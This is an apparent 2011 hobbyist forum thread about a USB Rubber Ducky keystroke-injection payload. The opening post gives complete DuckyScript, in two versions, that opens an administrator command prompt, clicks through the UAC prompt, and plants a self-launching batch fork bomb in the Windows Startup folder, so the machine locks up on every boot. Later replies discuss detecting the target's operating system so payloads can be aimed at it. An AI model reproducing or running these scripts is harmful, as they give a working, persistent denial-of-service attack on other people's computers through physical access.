[Payload] Fork Bomb Payload Issue

[CanadianTaco]

So I ran the fork bomb on a windows 7 pc I had laying around and it worked perfectly, I had to boot up into safe mode to delete the "a.bat" file from startup. So I then restarted it and now the program won't work again. It gets caught up after running cmd as administrator when UAC pops up it doesn't press the left arrow to select yes.

I've tried recompiling the code but still nothing...

Using the code from: http://www.usbrubberducky.com/wiki/doku.php?id=payloads

CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
ENTER
DELAY 200
LEFT
ENTER
DELAY 1000
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START
ENTER
STRING start a.bat 
ENTER
STRING GOTO START
ENTER
CONTROL z
ENTER
STRING a.bat
ENTER
ALT F4

Any ideas?

-edit-

For some reason this code works for me better than the previous code:

CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 500
LEFT
ENTER
DELAY 1000
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START
ENTER
STRING start a.bat 
ENTER
STRING GOTO START
ENTER
CONTROL z
ENTER
STRING a.bat
ENTER
ALT F4

Which has got me thinking... What's the potential for running if statements with the duck. For example: Say you don't know what OS the target pc is running, so you create three different payloads (xp, Vista, 7) and then the if statement: if OS = 7 then run payload 3, and so on...???

Edited October 5, 2011 by CanadianTaco

[Lab42Jason]

I am glad you got to working.

Adding if statements for a given os is a real possibility. Let's add it to the road map for the next version of the firmware. Keep the good ideas coming.

[Xcellerator]

It could be possible, but do remember that it is just a HID device, so it cannot actually receive any information from the computers themselves.

It could be possible to solder a switch of sorts, but you would definitely need to know what you're doing.

[GuardMoony]

You could just detect the OS version in your batch file.

See: http://malektips.com/xp_dos_0025.html

[pyro2927]

A batch file won't work for detecting differences in Windows vs OS X vs Linux

[CanadianTaco]

A batch file won't work for detecting differences in Windows vs OS X vs Linux

True, but most targeted computers would mainly Windows based...

Edited October 6, 2011 by CanadianTaco

[GuardMoony]

Yeah it doesn't detect OS X or Linux but thats got the be detected by the ducky. Its not possible with the duckyscript.

[ascorbic]

As a HID Device I don't know what the options are for detecting the OS, however on the planned features page on the wiki there is a feature which mentions there will be the possibility to deliver more than one payload by pressing the button after the ducky is inserted. You could have a payload for each OS you want to target.

[GuardMoony]

think its gone be beter that the ducky auto detects the os and then runs a payload for that os. For exampl plug it in OS X it would run inject-osx.bin. Put it into windows it would run inject-win.bin

But this got the be coded in the ducky. the duckyscript it self only acts as a keyboard so doesnt receive any commands back ( only for led status of capslock and such )

For the moment, the batchfile is good for the difference between xp and vista,7. ( uac stuff )

[CanadianTaco]

Well in the feature_request page of the wiki it states:

2-second delay before executing any payloads – at which time 1, 2, or 3 button presses can indicate inject1.bin, inject2.bin or inject3.bin. No button press after the 2-second delay executes the default inject.bin. Four payloads on a single card!

So you could manually inject whichever .bin file you want. But I'm still not sure on how you would go about automatically detecting a specific OS. Maybe have the first inject.bin do so, then based on that have the if statement redirect to whichever inject(1,2,3).bin would be required for that particular OS...